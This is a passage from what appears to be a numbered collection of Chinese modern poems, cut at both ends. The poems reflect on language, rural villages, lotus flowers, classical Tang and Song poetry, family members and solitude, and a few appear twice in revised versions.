我怜悯我随意所见， 在一行诗上， 在一张纸上面 白如水。 说话267 《说话》 说话和沉默是一类东西， 沉默的时候，我等待的是它的， 某一物沉淀。 我是一个被施于爱而回馈， 我是孤独的， 孤独为什么在成疑的时候， 那么普通， 也在普通里面那么神秘。 路268 《路》 这条路是石头垒的，一直铺到了天空。 我多么简单，我总以为上面的泥巴 是从天空落下来的东西。 是一种回馈。在它泥泞之前， 一个完整的因果已经形成。 同桌269 《同桌》 凄凄惨惨寂寂， 就会有很多不同的情况发生。 有一个女子转身投入江水， 事先生疑的江水， 经过月亮一照就只剩下一副空壳。 女子不是英雄， 是要断绝一份对柔弱的怜悯 乃至于扶贫于爱恋都只是明日太阳初升 的另一种解释， 像需要两只手共同的发力 另一端按压在我的脑袋上面。 但够不到女人的心意，或者这其实都只是 一种不解风情， 一种恼羞成怒，干脆快刀斩乱麻 这历史最初大拉拉的拂袖而去 出了门一个莽夫就成了将军， 垂柳则更早就暗示了女性。 这同样令我的头脑吃痛， 脑袋与思想有别，脑袋的坚硬骨头 是替罪羊，说出的有关于历史和野史 也都是可疑的。 幸好，此夜月亮孤悬，还算明亮 我从走出的不安全边界还能一路解释的回了来， 跳到另一件事情上面， 这些都只是书信有去无回的一部分， 在那个女子的因爱投江上面 我给你写信， 很是现代化， 我耳闻， 自己的幻想，又再次的把它耳闻。 路阿270 《路阿》 这条路是石头垒的，一直铺到了天空。 泥巴在石头里面， 天空也在石头里面， 我搞不清这一切， 我也因此忽视了这， 如同一面镜子，对自己思想贫弱的 折射， 我没有问问那个因此 回来的人，借着微光是如何的辛苦 对一条路的斥责 多么的含蓄， 又是多么含蓄的比之于以柔情呢。 t 荷花271 《荷花》 我们为少的单纯而言说， 心中暂时没有其他的心思。 我们在少之中颤颤巍巍， 一下子就能够从中年哗然和脱变，成为老年。 其实我们再也无法在真实里面立足 只消一看到水里面的荷花， 就会被一支无形的手深入了我们的脏器，心房。 忍耐着，我们还没有远去，脱下我们的衣服， 挂在树枝上，形成湖边的另一个我。 我不成功的言说是荷花的影子 在荷花的影子里面走想起了祖国。 荷花272 《荷花》 这支荷好不容易才在语言里面独立， 这支荷如今静静地漂浮在水面。 这支荷越看越像一个叫“宁“的女人在闲暇的幽处， 水面以下是它的美丽， 在淤泥里面是我， 更深，正与什么缠斗。 风扑273 《风扑》 与语言搏斗而败下阵来， 来到了这里，一路风扑尘尘。 使村庄正对着它不愿意去面对的， 东西消失了，声音消失了明天 或者用不了明天就会被我们事先知晓的心意 告知为， 化作了路边的野花。 东西化作了灯盏， 屋舍在睡眠的时候并不多余。 我们说话会溅起战争一般四散的烟尘， 忘记了我们身处的地方和它那矛盾一般的 被我们提起，一次次的 也还有向往远方。 胖子274 《胖子》 那些很远的为远而陡然而胖 为远而寄送，这一份胖的心意。 很久以前那已经很胖， 是人，活在宋朝里面 古代一般的活， 活的就不承认， 颜面从菲薄到丰盈 把现代的任务交给现代， 去寻找， 去矛盾。 而且是在雾中矛盾， 面颊空空，快要为黑洞， 而且是要寻找一副脸颊的明明知道 也有向我的一支和一封， 那些很远的为远而肥胖， 是一个远方的瘦子， 是我躲开的那一个， 我要先经过崎岖的山水， 我也会最终的鼓胀。 火车275 《火车》 我们把宇宙放在铁皮屋子下面， 语言无罪， 我们只是乘客， 语言是水的时候，此刻 我们往前递送而出的小心里面 是一张翼翼的火车票。 火车会抖落一身而只把星辉剩下， 还是那个宇宙 把乘客紧紧包裹。 问流水276 《问流水》 每一次为了要落于空处， 我都作势要问它， 问我靠近以至于 在最靠近之中成为了它自己的那一个， 也在问中蹊跷，自我逃离 也是推卸便成了流水， 另一种作势。 话语在远处和在心里， 两种情形都属于回声， 我问它就是天长地久，就是它在问我 我还活着， 问的意义很大， 问它的时候， 它在山坡下面， 是长江水上面，与两旁的群山 所蒸腾自然形成的雾气。 幸事277 《幸事》 我很轻的， 并且一直如此渴望着。 悬空于草叶的纤细， 测你的命运 \/ 因远而到来的是一切， 幸福也只能落得了 如此。 除非，幸福它 自我明证，开始了不闻不问。 \/ 那么远方的群居， 将会把应答无果的阴影在历史上面 投下。 远方的纸张将首先记录的， 是有一场以落汤鸡所署名， 大雨滂沱。 \/ 作为幸事， 我依然还是测不准， 人类哀鸣的处境 \/ 我一直测着 大地为盘。 植物史278 《植物史》 远离而可以远远的 望着。 \/ 也望着那看着 是可以的。 \/ 每一棵， 每一株， 每一根， 每一片。 \/ 历史因繁多而厌弃了它们， 我们的拯救从一片轻柔里面， 如水 又不是水的 重新回了我们自己的历史。 人称279 《人称》 人称的诞生是对于人的 畏惧， 人走来的走到了副词。 有时候语言关乎胜利失败， 我说话， 从我嘴里说出， 语言如一面旗帜 他这个人和行走一般的副词 他怎么也赢不了我， 他为此奋斗了一生 一个说话的人注定看着他人，也 一生被注定了。 车子280 《车子》 文字是车子的前头 不断推着， 我的手牢牢的抓住 力往回收。 我一定是因为失败的窘境 爱而不得很是轻微的一阵阵抖动着， 我一定在了某个地方吧， 被人们望见， 我存在于望见的极其偶然之中， 一个文字也存在于那里 我不同于它 那么它所面对的一定是与人有关的 别的什么东西。 哀思281 《美丽》 这些美丽的语言， 会在我阅读而判定它的隐含 指的是哪一个年代的时候而美丽的 解释着。 这是一团水的陡然之前， 因此，一切还没有发生之前。 因此一切都将会指向一个人， 我猜测不透以诗歌的形式 意欲何为。 搭讪，拥抱，沟通， 你叫上了我，诗人， 一个群体共同面对着什么呢， 在镜子的美丽曲折之中， 什么又才是我们的民族本身， 它的哀思在于了何处。 野草282 《野草》 草在这里没有死亡， 看， 听 不会把死亡带来， 人的力气始于误解 被自己推着的人，推着 下一个人推着他自己。 与看和听有关的 走来不会把草的死亡带来， 怜悯的语言不会在灰烬之上， 展开了它自己的， 是人类心内的可疑，带来了不安。 我有理由怀疑， 这一切的隐喻是 人最初就是那一株野草。 人在野草凋零的时刻说话， 时机大于所有的言语， 言语就粉尘一般的匍匐，再飞溅起 自然之意穿过了的， 是人多欲的身子。 推辞283 《推辞》 推辞饮酒于不能， 而使得一个词语，比之于 一行句子。 也是那良宵的出处， 夜晚寂寞的人一定有所去， 他也会推开每一篇 与寂寞无关的窗户。 衣服284 《衣服》 脱的庄重里面， 有时间上的过去和织的最初。 有时候我的手停顿了下来， 我变作了一个纺织女人， 并不危险的事情， 她也会变作了我。 我不知道那早已发生，还是在于未来。 眼前285 《眼前》 眼前的人不要说话， 眼前的人不要眨眼。 呵，你不要动 从静止走到的地方，称作了 矛盾需要花费多久。 你如何的体验着， 分明痛苦只是我的一个问题 勾起了你不堪的回忆。 如果你想活在偶然上面， 如果语言确确实实的， 息息相关于自然。 你不要说话，不要动， 你甚至不是一个人类 只存在于话语， 矛盾于生命。 这些286 《这些》 这些属于眼镜， 那些属于充电线。 这和那属于什么， 今天属于什么， 你不要说话， 我还没有准备好。 在土地287 《在土地》 在土地， 快速的说完一句话。 在土地，耕作想快 劳作的疲惫时候一切事实上很慢 在土地和土地之间的 绝不仅仅再只是它自己 无法想象一块土地 孤独，盘旋。 这毕竟只是一块土地， 粗糙。 人的思介入了发生了什么吗？ 阿赫玛托娃288 《阿赫玛托娃》 很冷， 很无形， 这是一个东西的 也还有北方。 再往北一点点不可想象， 我们往往在温暖的南方 把自己的失败 伴随着种植想象。 人生在北方是一种不幸 人不得不处理这三者的同一 便是了一生。 一江水289 《一江水》 永隔一江水， 就让我在江水边上。 江水浑浊， 向江的填补仍然不够， 流淌则是别的东西， 被人用来，试图在它的身上寻找 间隙。 就让我是一个异乡人，日子久了 这里的居民也会一样， 是同一个东西，同一类事物， 这里的事物，进而那里的事物被叫做了 别处。但我怕那别处和这里融合的说辞， 我反而认为， 乡村的粗鄙更好，大河正试图永恒的隐喻。 隐喻短暂的时候人多么的无聊，趁着太阳 从乌云里面射出光芒，伸了伸自己的懒腰。 在确定无疑里面， 居民也慢慢的会把自己是异乡人的久居暴露， 或者久，或者居住， 那些住下来的涉及土地的东西， 或者这里的和那里，或者短暂 这一个漫长的过程， 在我这里，当我感怀人的时候， 我滑稽，这同样短暂。 在土地290 在土地 《在土地》 在土地， 快速的说完一句话。 在土地，耕作想快点 劳作的疲惫之时一切事实上很慢 在土地和土地之间的 绝不仅仅，再只是它自己 无法想象一块土地 孤独，盘旋。 这毕竟只是一块土地， 粗糙。隐喻形成， 人的思介入了发生了什么吗？ 人的思如此无辜的对早已经的 达到默不作声吗 生的291 《生的》 生偶尔也是一声大的炸雷， 这大的声音常常需要面对它那些声音微弱的时候。 人看着， 人监视， 人有时候站在那里并且 活成了一个动词。 困惑也只是偶尔的 一种行为，或者别的行为，或者什么 声音轻微的叹息 作为一个始作俑者， 在生的仿佛被走进了一步那里 成为一声大的炸雷。 舀子292 《舀子》 活着，被悬空。 用一只蓝色的塑料舀子舀水， 一舀子，一舀子 慢慢的， 也会变成某种拯救性 也很突然，在我们的心内。 同桌293 《同桌》 她几乎就是北方的象征， 在她的身体， 有河北梆子，河南豫剧，bJ京剧 五环就能圈住的京剧的漫长过度性， 秦腔，山东吕剧，祭祀。 有时候她趁着夜色去到了北方， 在草原上小转了一小会，她还能够回来 也把夜色一块的带回来。 我还能言说一个闪着星星的夜晚。 她还会更加的丰富， 有羊皮筏子，有关于戈壁的文字，被保护起来的 古代建筑。 仿古建筑的那种让人困惑， 像她的美， 两种不同的，在叙述里面偶尔 到达了同一处。 唐诗294 《唐诗》 我们的民族在唐朝里面， 我们的民族在宋朝里面。 在唐诗里饮 宋朝的酒而把诗歌诞生， 把未来拒斥为了一种 形式散漫的词。 唐诗八千米(米是距离，还是钱) 宋词三千米 在两个人的最里面 我们的民族再一次碰撞， 上下。 乌鸦295 《乌鸦》 张继诗里面， 仍然是一片黑。 千年以前是否只剩下了 对时间是否准确的讨论。 乌鸦有可能来自于这处就如同 来自于一种熟悉。 但在对人的这一种陌生里面 乌鸦的处境属于单个的人。 被从群体里面挑选出来， 又属于更久远的过去。 通过逻辑而到达的人寥寥无几， 借着一只乌鸦而探望 那人，或许是张继。 富春江296 《富春江》 他哀叹的有些过分了， 也就是说， 他不仅贫穷， 他还生错时代，一颗心被带着 早生了几千年。 一颗心说着现代性在古代是很奇怪的一件 事情。 这事情的奇怪由茅草屋， 泥巴路， 驿站，山中的老虎和狼群，流民 酒肆等组成。 所以他那里有那么多的时间去饮酒作乐， 身处矛盾之中的人 有一次他过富春江，见江水流淌， 鸟儿鸣叫，欢快，植物茂盛 一瞬间盛世的想法令他悸动不已， 一座小亭子恰好也出现在了， 他的眼前。 乘凉而坐者望着江水交出了自己的良心， 盛世在群山里面， 还要深一点点的地方， 能发现它的只有可疑的诗篇。 巴子平叔297 《巴子平叔》 那时候他三十多岁，还年轻 性格皮实，据说因为有点打小不学无术 而 落下了一些滑稽令他难堪的童年笑话。 在去城市里面务工的热潮还没有开始， 他的父母还是把种地的宿命残留在了他的身上。 闲暇之余，他喜欢做一些兔子套， 去山上套兔子，做下酒菜。 那时我还小，刚懂事，这个人我叫他叔叔， 他跟我父亲关系从好，我爹小时候是个孩子头 脾气暴躁，老是打我。估计 这个叔叔小时候也被他打过。 叔又去山上下兔子套啊，见到他我总是这样 跟他打招呼。他也轻描淡写的回一声，“嗯“。 就去了。山中无岁月，上午去，转北山，东山， 南山，有时候甚至去到别的村子所在的山上。 我至今没有去过那里，那里有他的足迹。 为了吃一口兔子肉来抗议食物短缺的时代， 这张嘴其实已经把某种言说的不满暗示又乡村般的压制了下去。 如今他上了年纪，快六十岁， 如今我已经很久没见过他了 噩耗传了来，他酒后睡在马路中间， 打着呼噜，仿佛下兔子套后累了， 就东西南北山的随便选一个石头地方休息了一下 但这一趟去山他走了很久， 没有再回来过。 钥匙298 《钥匙》 悬锁于门， 之前是打开它。 钥匙在我的兜里面时， 安静的我那时正在田野。 钥匙无关于田野， 气候，这些远之又远的东西 被思想唤起 更早之前我们唤起了打开的具体形式 是钥匙。 心中所想的也正是历史，打开门的时候 我有一种恍惚，某种说不清的错觉。 你这个农民299 《你这个农民》 你有可能变成别人， 你有可能会一直在寻找一把尺子。 夜晚危险，浸透在无果给人漫长的 感觉里面，你 在意分行，又辩解的匆匆 于你是爱它的。爱这些的， 这一些可以被我细分出别人，他人 爱人爱己，推己及人。甚至有可能也有 植物平静而现世安稳的，日子缝隙里面生长。 被一刀两断的其实是那种静 进而难以诉说的是那种捕捉 易在抓捕之中失去了。 这是一个漫长的历史，又 过分的短暂， 这其实很详实， 由你的欲言又止，似有所感，有所知 组成， 在一个群体里面你很渺小， 当你想到了历史 你觉得自己是一颗发光的星。 嗨，你这个无聊的农民， 就是不准备好好的种地了。 富春江二300 富春江二 富春江 《富春江》 他哀叹的有些过分了， 也就是说， 他不仅贫穷， 他还生错时代，一颗心被带着 早生了几千年。 一颗心说着现代性在古代是很奇怪的一件 事情。 这事情的奇怪由茅草屋， 泥巴路， 驿站，山中的老虎和狼群，流民 酒肆等组成。 所以他哪里有那么多的时间去饮酒作乐， 身处矛盾之中的人 有一次他过富春江，见江水流淌， 鸟儿鸣叫，欢快，植物茂盛 一瞬间盛世的想法令他悸动不已， 一座小亭子恰好也出现在了， 他的眼前。 乘凉而坐者望着江水交出了自己的良心， 盛世在群山里面， 还要深一点点的地方， 可疑的诗篇形成于此。 父辈301 《父辈》 过去，他们是一群只能靠近乡村植物的人。 他们是说完了的话语，喉咙从山泉水中取出了丰盈 骄傲的轻薄，向未来一次次提起。 生我的时候，语言在贫瘠之中的一次聚拢 尽力而为。 又矛盾于自然而然的 发生。所以，我身上有故乡那条河流的影子。 具体的情形总闪闪烁烁， 语言一推再推实在是哑巴吃黄连，但 现在蹲在山坡上面看夕阳的人少了，非常是 一个代表着程度的形容词，作为一种指向时 就会把反面带来。 所以，问总要带着善意又在生命里面隶属于本能 ：具体的情形被他们靠近着时间所替代了。 鲜活里面容易有被误解的地方， 一是他们上学少，不识字，三年级就是了高高的坝堰。 我由此推断，所谓民z是一种很大的东西因此 长久的在了它的大之中摸爬滚打了太久了。 推断每个人的由来，相同，努力去形成 某个共同的标z。 以土地而言，往前历史只会越来越失效。 从那里往后，则属于建筑。 那些被抹去的具体事情，它的发生自我束之高阁， 它又与别的，如今早已经破败的东西相关， 相连，接着会是夕阳，小路，抹去隐隐有被注定的意思。 我是说时间，很单纯的一种东西，而且确确实实的 注d了是单纯的。 从那里看流逝这一种称呼，我在听到之后沉默， 人们称之为流逝算是一种起名。 有时候我们因为讨论而回到原点， 你繁忙了一天，像别人一样，整个的人类族群 我不会再问你什么了。 青城山302 《青城山》 生，就会在生中生很久， 一直就这么生下去。 活，因此是模糊的，或者无论如此与否 都可以。 我在想人的繁多是一中午危险， 慢慢扩大的烦忧最终还是会付诸以行 某一天时间的铃声响了，被闲置的铜锣暗哑。 一首诗歌因此慢慢的下沉，落到了实处，落到了水上。写的是一个过程， 成为了一种暗喻。 生还是生着，只是多了一点困难。 陈先发303 《陈先发》 陈先发老师一直在我们的书写上书写， 我们的尝试使得他尝试， 在他尝试的时候我们寂静无声， 但我们是一个群体的同时寂静无声。 因此我们不会走向寂寞。 一座山304 《一座山》 一座山在形容和比喻里面 存活。 一座山只会越来越高 人只会越来越多，从多走向隐约。 人要寻找的于是声音的去处， 形成了词语的 那声音变作了回声。 这是一些对我投以赞誉， 那不仅仅是过去的，未来也 是一片的光彩。借着酒我们就可以 隐去现在， 理由并不是一个身体不能同时做两件事情。 甚至一切都只是酒与他物的关系。 如果我不是，那么请求你是一个带着道德一般 判断错误的人。 你猛然惊醒的时刻，你正在山坡上面植树 山坡上面已经郁郁葱葱， 你在树的幼年时期， 你思考着人类， 山只会越来越高，而 树木的繁多也是高的一支。 草茎305 《草茎》 地里的一根草茎，我不认识 它像是一株茎类植物，不似野草那般脆弱 我叫不上它的名字，光秃秃的枝条，只有一根 但必然会长出叶子。以花朵的存疑，来确定人的边界 想象面对着的，一边是人，另一边则是植物 全部都是个体对整体的取而代表。 让认识植物成为了一个重言词，或者一种重复 人或者活在重复里面的植物， 群体必然由一个单个的个体而来。 我拔除。面对一种危险的处境 所采取的态度是不计后果。或者拔除本身 才是危险的，在平静之下有一颗颤颤巍巍的心 诚惶诚恐的在阳光刺眼下面活着， 寻找一种缘由，而不得的匆匆到来 唯愿我就是那个到来者，不是事物， 便冲突于人的肉身，为一切找到了一个，回答。 入帘青306 《入帘青》 一个问题，和它平等的 是草色入帘青的傍晚 被隐去的贫穷里面的没有回答。 我被单独的细分，你从别的地方 带来了我所必须的 事物。 是出来。呵，你竟还端着你的过去不放， 紧紧的，未来是扭曲的也必然是存在于语言里面。 去寻找一种不平等，去身处一种被裹挟之中 呈现那早已经寻找到了的模样。 你有时候一阵的可疑， 有时候走向轻笑。 入帘青二307 《入帘青二》 入帘青， 青便少了一部分， 青便弥补， 这浓郁的青色在青的缺失之上 这也是一个缓慢的青 它已经被作为事物叫出， 一双嘴唇亲吻的如此具体，羞涩 一个青，它因为亲吻的相互和彼此， 而它是静止不动的。 东山村308 《东山村》 我滑的太快，远方的星辉 就不会无辜，就不会活在无辜里面。 我已经是虚妄，断视着生命 是一个个疲惫与生机相互矛盾的 心，直到他们被叫出，取而代之的发生。 我从这里定位小的东西，定位一个 村庄。 与古代，宋代也日渐稀少，却日渐明亮 将死的蝴蝶围着灯火飞舞， 我们的工人和工厂设计了玻璃， 再往前的科学家们欲言又止， 从命运的界限上面退了回去。 那也是你的遁离，你竟不是远走高飞， 你所谈论的，竟不是衔接于 我，那带有一双翅膀的马车，用马匹来交换了 雨水。 那些充沛的雨水意味着失去， 这个我没有谈及的夜晚，布景更深 悬疑的故事会上演。文字多么诚实，无辜。 最简单的因果正是最简单的文字，结构 我错了，就是某些事物的哑口无言。 白蛇309 《白蛇》 历史中的爱情故事已经发生了， 你就不能转身往回走。 不能从着名重新的回归到了家庭， 家庭是居所不断对自身的重复。 这置美丽于何处， 美丽随着时间的被人遗忘， 空空的一双嘴巴口干舌燥， 那么它在一个乡民那里更美好 被人问起的时候你竟是 不仅仅舍美丽而弃， 竟把白色的衣服视作了朴素的， 和偶然的衣服。 我甚至可以猜测得到你是如何的行在水上 你逃不掉的， 我已经从一身的疲惫向着恐惧投降， 文字的安得广厦千万间里面， 充满了祈祷的回声。 从这个角度，梨树开花，四月来临。 我一转动车辕就碰到了你， 转身欲往山里面去的人 正试图在一盏青灯里面， 向菩萨许下诺言。 斗笠只是斗笠，一切都没有改变， 在改变的心意里面失败， 失败的是一次次猜测一场着名爱情故事里面 文化界限的如此胆大妄为。 农民还是农民，他渐渐的失语，很是形象 他保存于此种， 以种地的方式。 宋词诗人310 《宋词诗人》 在宋词里面，万家灯火齐齐暗了。 在宋词里面才好打你，捶你 责你，骂你。 打你是一个莽汉，是李亚伟， 李亚伟的投降是手里不忘攥着青岛啤酒， 四川大曲，高粱酒，泸州老窖，五粮液。 那我就在了酒的汪洋里面， 耐不住性子，无法呼吸之人 看宋词之人如何把乾坤颠倒， 唐朝传统的现代诗们，一个个的 又写诗，结成团体，形成流派。 你不是一个侠客，李亚伟老师 停在了莽汉边界， 另一个时空里面， 宋词对唐诗的反抗和p，luan。 戏曲311 《戏曲》 在诗歌里面， 有的是道德的可疑， 但从不被谈及。 \/ 人们将会在很多天， 和日子里面 变得迟钝，推开一扇门后面的新鲜。 \/ 我们所以为的那些个地方， 可以用走来抵达。 说话的人听着这些， 从抵达的丰富之中， 因为单调的需要 而化作了风景的那一部分。 荷花312 《荷花》 这满眼的荷花， 一船荷花， 因为词的丢弃而不至于下沉。 满船的荷花，是一支歌子 含蓄的，直接的走进了黝黑的甬道。 来人只见了湖面上碧波的余韵， 为见荷花而来， 心意中为词语的倾倒， 想象这注定会发生， 绝非偶然，波浪即是了。 荷花池313 《荷花池》 有关于荷花的一切都 哗变，荷花就孤而美 荷花就远。 荷花的远在于抵达， 满池子谁又能说早已经是了的 那抵达之人，抵达之物正在叶脉稀疏之间 默不作声呢。那美丽被亲近的方式 而把美丽本身悬而未决的留出 就是了未来。 我担心这是一张牙齿，一个嘴唇 美有藏私的部分，美很有可能是无可奈何之举。 美的凄惨于无法找到 根据，美于是向阳花木易为春 一般的向着陆地，陆生植物的一切而 发出着自己独特的观点。 难不成人因此听到了什么， 做出了些什么的又是谁呢。 难不成稳坐荷花池塘之中的人儿 是杨贵妃，是 唐朝时期某个美丽的女子以身入诗 浸泡，水里面便升起一串串的不规则气泡。 我是一个来于荷花结束之时的人 但我不是那个，攀登于明清和唐宋 身为悬疑之人。 与他，我擦肩而过，与男子 则满脑子的诗情画意。 我在路边摊吃饭的时候想起的是别的， 我随意的想，胡思乱想，在荷花池塘的附近 坐在一个马扎上面或者干脆就蹲在路边。 荷花满池， 它不似桃李，一个迷失在语言里面的人 荷花见着。 转身314 《转身》 人的每一次转身都可能是诀别， 这并不好猜测。把生命置放在不可确定上， 一时冲动诞生的就会是人类的本质。 那些冒犯的话语冲击着语言的边界， 另一端的德性之国，甚至冲击本身也在了那处。 这些影子一般，存在使得生命虚无，感觉 矛盾的生命把欲望归结于某一个未来的点。 我冒犯你，你又能去做些什么。 你冒犯我，我就在一种生生不灭的衰老上。 你不再应答，天荒地老就终从书本 来到了可以令它们自我证明的现实世界。 时间乃至于是倒流，春天 充满了真实的可疑。 那么，你就转身去吧，仅仅为了真实 你的心扉儿鲜红，轻铃一般 你已经走远，你走的很难 有时候在我的遐想上走。 爱人315 《爱人》 对亲密爱人的名字不满， 傍晚，面对着空白 一声称呼能够走多远呢。 这取决于一个人对孤独的恐惧， 对应该下了班，坐上公交车 本来回来的人却没有回来 所带来的不确定性。 而每一次的回来，何尝不是来自于 从不确定性之中突围呢。 打开了家门，一边脱下衣服，挂在墙上 一边换上拖鞋，皮鞋摆放在鞋柜。 做这一切已经成为了一种习惯， 为了放松，并把回来的消息告知。 没有这种告知就没有你， 这使一个人恐惧， 迟迟不归消耗着我们的存在感， 我真怕你会一时失神变成了我， 我应当是附属，是一阵电报，简讯 微信，电波，短信，彩信 你有比我更多的投降和讨好的方式 你甚至跪下，像祈求叫不上名字的神明 你的妻子堵在地铁的门口 今天是解禁之后的第一天，人潮拥挤 词语也拥挤着人群。 造字316 《造字》 在室内正在进行着一场造字运动， 想是关门， 猜测也是，但它没有位置，被允许 以如此的方式度过的空间距离， 以及我心中的路径，可以叫无形。 独立的个体是有形的， 存在于误解的孤独之中，他可以不发一言。 我把自己留给了我自己， 却使得孤独成为一个真正有理有据的事物 使得我所猜疑的成为了对象，呵 这个住在我隔壁的人，我从未曾见过 我只是偶尔听到声音，声音的来源。 他们不幸于与我的结伴为邻， 但两个人则是被杜撰的幸福， 未来的光线， 个体则不被我允许， 当语言暴露了它自己 当我无力的时候，这一切合乎逻辑的发生。 一个欲言又止的人是某一部分，某种片缕 有时候是某种残缺， 向着某些别的地方。 夜风317 《夜风》 夜风吹过了窗户， 由北向南，发出呜呜声 使我思绪万千。 夜晚被吹的干净， 白天就一定浑浊。 把一条悬而未决的逻辑 视作了理所当然， 风的强力，不否认就是承认的 继续往南吹。我在夜风里面的 房子里面，已经很安全，缺因此 更深的不安在心里藏着。 这是两个事情，却在词语之中不可分割 像一切事情的缘由， 并且已经令一整个白天为此精疲力尽 我甚至还看到了一种托付 在黑夜里面一定会做到的决心 这让我的某一种觉醒式的追求 变得滑稽可笑。室内之人如此的尴尬 语言一开始就是错乱的， 人为制造的一切，和人的无辜 人的危机感，甚至人的拯救与怜悯 风如此的强力，如此无力。 声音318 《声音》 声音出现复又慢慢的消失了 任何微小的都能被听见。 祈求过声音，雨水拥有着一切却 仍旧不感到满足。 再次降下的时候，因为语言的缘故 我们言说在了一个新的世界。 巨大的声音与小的，并无二致 冷冽的文字犹如箴言， 最好是在农村， 把困难给发现制造， 一颗发现的心是生存之心和厌恶之心 一个人带着一颗心奔走不停。 我——摸不到——自己的心， 在村庄，安定下来 等待跟雨相平等， 声音里面急切的期待，之后 一切都说不清，我们清清楚楚的看着什么。 你319 《你》 你是没有说完的话语， 问询的语气，如今 是记忆。连绵不熄的错觉 过去没有发生的却依然鲜活 我听别人的故事也时常错听为危险的感觉， 我带着劫后余生的心情， 余波里的江河也会用江水 声势浩大的拍打两岸。 那矛盾的岩石，褐色的土壤， 岂止是想当然的一撇，想象就可以测量。 我是一个回来的人，劫后余生竟然 是一种抚慰，你 面对着的，你这样一个心地善良的农村姑娘 是星斗，璀璨。爱，一路畅通无阻 为何你落在了深处， 在地上，有一些尘土溅起，你落在了地上。 房间320 《房间》 一群人都会成为历史， 只有清脆的声音， 出于渴望某种与众不同的特别而 被制造。一群人因此才 健忘，那么容易，有两只造f的耳朵 你说什么，你说的从左耳朵进， 右耳朵听。事情还没完，他们接着问你 你刚才说什么。你，一个肇事者， 你怎么可能无辜呢，在狭小，用水泥 浇筑的房间里面。 感谢房屋的建造者，领了工钱就离开的远远的。 领着话语的那些人，走在陈词滥调的路上 我因为喧哗而忽然放松， 诗歌也会摈弃我，我向别的什么投递出了 自己的申诉。 一个句子也在向我申诉， 这些只言片语，像现实 一群人会被揭开。 四月桃321 《四月桃》 我见了你的背影， 四月桃 明明怕花瓣落去 却倔强的走在大风的街。 枯草322 《枯草》 没有人会抚慰枯草， 夜空的月亮被一遍一遍的擦亮， 这一次是语言， 它有所剩余的部分也冲着我。 我思考的怜悯属于道德的部分， 不会出错，又不似一个重复的东西 在事物上盘旋。 而且这会置我于何处呢， 那些明亮的皎洁的，美丽。 在容易丧失里面， 我们只会走向道德，我会与另一个一样 我也知道， 明月属于一种过度， 而枯草所得太少， 语言在二者之间存在， 更为具体，则像流水， 左右而有形。 气温323 《气温》 在气温升高的时候， 评价春天。 万物为脱，错误的人 和失语的人一样， 让在因为某些事情而耽搁了些。 一天，它如此的拖累自己于时辰的变幻。 春天岂不就是一年的失败， 但美丽吸引了我们， 探望根部以下者值得得到更多， 我们关注他，默不作声里面，发现 与泥土的粗糙擦肩而过。 他在我的脑海里面制造轻微的声响 为了我能回来时再次的看见 生活里面，我把这些对他事先予以告知。 气温324 气温 《气温》 在气温升高的时候， 评价春天。 万物为脱，错误的人 和失语的人一样， 让因为某些事情而耽搁了些的人走在路上。 一天，它如此的拖累自己于时辰的变幻。 春天岂不就是一整年的失败？ 但美丽吸引了我们， 探望根部以下者值得得到更多。 我们关注他，默不作声里面，发现 猜测一颗心的 心意，与泥土的粗糙擦肩而过。 他在我的脑海里面制造轻微的声响 为了我回来时能再次的看见 生活所提供的平等里面， 我把这些对他事先予以告知。 醉了325 《醉了》 让我迷醉， 角落里面酒瓶子碰撞 彼此发出着清脆玻璃的声音。 像醉一样， 也摈弃了语言， 任何不属于夜晚的都应当被摈弃， 首当其冲而显得语言， 它多么的无辜呵。但我又醉了 醉成了一个正当的理由 我醉了，酒瓶子也从平静 抵达了碰撞的声响 如果今晚到此为止，今晚 将会令人印象深刻，人会焦急的 人， 会不断的试图回到这一刻， 回到这种失败， 失败的回到这一刻， 像某种迷蒙所赐予人们丰富琳琅的选择 属于梦的一部分，在我的眼前展开来。 海子326 《海子》 给每一条河，每一座山起一个温暖的名字 他们， 他们就靠了过来。 城市327 《城市》 城市的边缘栽种着树木， 成荫代替了律法， 和无。 城市边缘广阔成了树木的海洋， 森林，城市曾经对文字有一次 删减一般的抵抗。 这就是一个城市对于一个人 采取的应对策略， 面对如此众多的人群， 进进出出的厌倦。 走的缓慢是一种厌倦，贫穷是一种厌倦 贫穷之中衰老就是极大的矛盾。 把孤而高献给城市， 在断裂带的远处建立一座城市，需要历史。 一个走进城市的人， 脚下踩着千百年前另一个人 对城市的向往，踩着她的脚印 城市在向外扩张， 同时从四面八方。 青草328 《青草》 很小的一个词， 可能是灾难，它有所意味的时候 就会动词一般的回来， 仿佛什么也没有发生过， 那么我的思想端坐于上面，我 在做些什么。 有可能它是一种抉择，一间屋舍 尚未有一种事物可以是这也可以是那， 还没有进入到语言里面的 在世界之外的闪烁着光芒。 三天329 《三天》 三天之内我们不会死掉 但这里面包含的另一重意思是 活着是艰难的。 活着的人在沉默之后 说三天之内的其他事情比死亡更加的 难以想象。而不会死已经是一个最佳的答案。 面对虚无的那些人为什么 会有面对死亡的感觉。 真实被我们颠倒， 我们做了这件事情， 便被定在那里，再也无事可做。 其他的事情也可以做， 它们像温柔的蝴蝶骚扰着我们的双手， 而我们觉得活着就是这样一种感觉 我们在等一只蝴蝶离开， 它不能飞进我们的脑袋里面。 夜330 《夜》 去听这个夜晚， 让准备大于这个去听本身。 但没有什么缝隙，神秘不会 从缝隙中溢出， 神秘也因此不会为空。 那些空着的点缀着群星，夜晚 并不以空而矛盾，而 自居。 就是在这样一个夜晚， 对杜撰而言它有所缺， 它缺失的历史漫长， 从古代，到现代。以诗歌的形式 有人已经尝试过。 去听这个夜晚，这已经不再是原初的 想法可以乐观的预期 但并非带着沉重的心情去打包，准备 像攀登一座山， 攀登一座山那样子的去准备 听，夜晚准备变作一座山。 高331 《高》 为了之后的事情，正yi需要孤独 zheng义比愚昧还要脆弱 天上群星照着了几百年俄罗斯昏a 时d里面对光m的渴求。 照着，书写的人从少女的不幸而来， 走进了屋里，书写。 光明与书写之间不得不签下合y 诗歌，小说是一方面， 那生锈的缆绳，另一端笔直，深入到了 不见五指的雾气里面。 少女问了一个让人难以回答的问题， 如果正义必然得到伸张， 我们的sd为什么依然看不到希望。 质疑那些升起的光， 所以你才躲避那些光明， 微不足道的诗歌和小说， 在月光下面， 为拥有着它们自己的一亩三分地 但不会有一个饥肠辘辘的农夫 会为了一个诗人，屠格涅夫 绝缘于弃耕从文。 夜空i332 《夜空》 人在夜晚静静的 多么长久的，躺下 通过睡眠而升上夜空。 人做梦梦到了微弱 作为事物的本质， 像一颗白天被打开的果子 裸露出了痛苦的内壳 我们一直在寻找， 也不知道在找什么， 痛苦的声音来回飘荡， 